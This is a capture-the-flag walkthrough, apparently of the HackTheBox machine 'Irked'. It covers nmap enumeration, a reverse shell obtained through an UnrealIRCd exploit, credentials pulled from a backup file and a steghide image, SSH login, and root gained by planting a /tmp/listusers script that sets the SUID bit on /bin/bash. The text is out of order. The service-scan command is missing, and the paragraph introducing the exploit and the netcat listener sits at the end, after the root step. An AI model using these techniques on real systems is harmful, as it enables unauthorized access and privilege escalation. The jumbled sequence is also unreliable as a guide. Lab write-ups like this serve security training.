As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
-sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.
-p- scanning the entire port range, from 1 to 65535.
-T5insane mode, it is the fastest mode of the nmap time template.
-Pn assume the host is online.
-n scan without reverse DNS resolution.
-oNsave the scan result into a file, in this case the allports file.
# Nmap 7.92 scan initiated Sun Jan 9 21:56:37 2022 as: nmap -sS --min-rate 5000 -p- -T5 -Pn -n -oN allPorts 10.10.10.117
Warning: 10.10.10.117 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.117
Host is up (0.071s latency).
Not shown: 60717 closed tcp ports (reset), 4811 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
6697/tcp open ircs-u
8067/tcp open infi-async
38366/tcp open unknown
65534/tcp open unknown
# Nmap done at Sun Jan 9 21:57:02 2022 -- 1 IP address (1 host up) scanned in 25.49 seconds
As we see, a few ports are open.
Let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
listening on [any] 4444 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.10.117] 53010
ircd@irked:~/Unreal3.2$ whoami
whoami
ircd
Privilege Escalation
If we take a look at the home directory, we'll see that we can list the djmardov home directory. And we see that there is a .backup file in the user's desktop.
ls -la /home/djmardov/Documents/
total 16
drwxr-xr-x 2 djmardov djmardov 4096 May 15 2018 .
drwxr-xr-x 18 djmardov djmardov 4096 Nov 3 2018 ..
-rw-r--r-- 1 djmardov djmardov 52 May 16 2018 .backup
-rw------- 1 djmardov djmardov 33 May 15 2018 user.txt
If we see what's inside, we'll see a password and a message saying that the password is for steg (Steganography).
cat /home/djmardov/Documents/.backup
Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss
If you noticed at the nmap scan, there is a website which has an image. Maybe that image has a secret message hide in it.
Let's download the image and use steghide.
steghide extract -sf irked.jpg
-sf select steg file.
Anotar salvoconducto: UPupDOWNdownLRlrBAbaSSss
anot los datos extrados e/"pass.txt".
And we get a password.
cat pass.txt
Kab6h+m+bbp2J:HG
The machine also has an SSH service, let's try to log in as the user djmardov with the found password. Then we could grab the user flag.
ssh djmardov@10.10.10.117
djmardov@10.10.10.117's password: Kab6h+m+bbp2J:HG
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Feb 7 14:29:03 2022 from 10.10.14.19
djmardov@irked:~$ whoami
djmardov
djmardov@irked:~$ cat /home/djmardov/Documents/user.txt
4a66a78b12dc0e661a59d3f5c0267a8e
Let's see if there is any SUID binary we can exploit.
The /usr/bin/viewuser binary seems a bit odd. Let's execute it.
/usr/bin/viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0 Feb 7 14:17 (:0)
djmardov pts/1 Feb 7 15:14 (10.10.14.19)
sh: 1: /tmp/listusers: not found
The binary is trying to execute a file in the tmp directory, which doesn't exist. We can create that file which will give the /bin/bash binary the SUID permission, so we can have a shell as the root user.
nano /tmp/listusers
chmod +s /bin/bash
chmod +x /tmp/listusers
If we execute the viewuser binary again, it will execute our malicious script and the bash binary will have the SUID permission.
djmardov@irked:~$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1105840 Nov 5 2016 /bin/bash
djmardov@irked:~$ /usr/bin/viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0 Feb 7 14:17 (:0)
djmardov pts/1 Feb 7 15:14 (10.10.14.19)
djmardov@irked:~$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1105840 Nov 5 2016 /bin/bash
Finally, if we execute bash with the privileged mode, then all we have to do is reap the harvest and take the root flag.
There is an IRC server. If you search for UnrealIRCd exploits on Google. You'll find an coded in python which sends back to a listener a reverse shell. Before executing the exploit, let's set a netcat listener on port 4444.
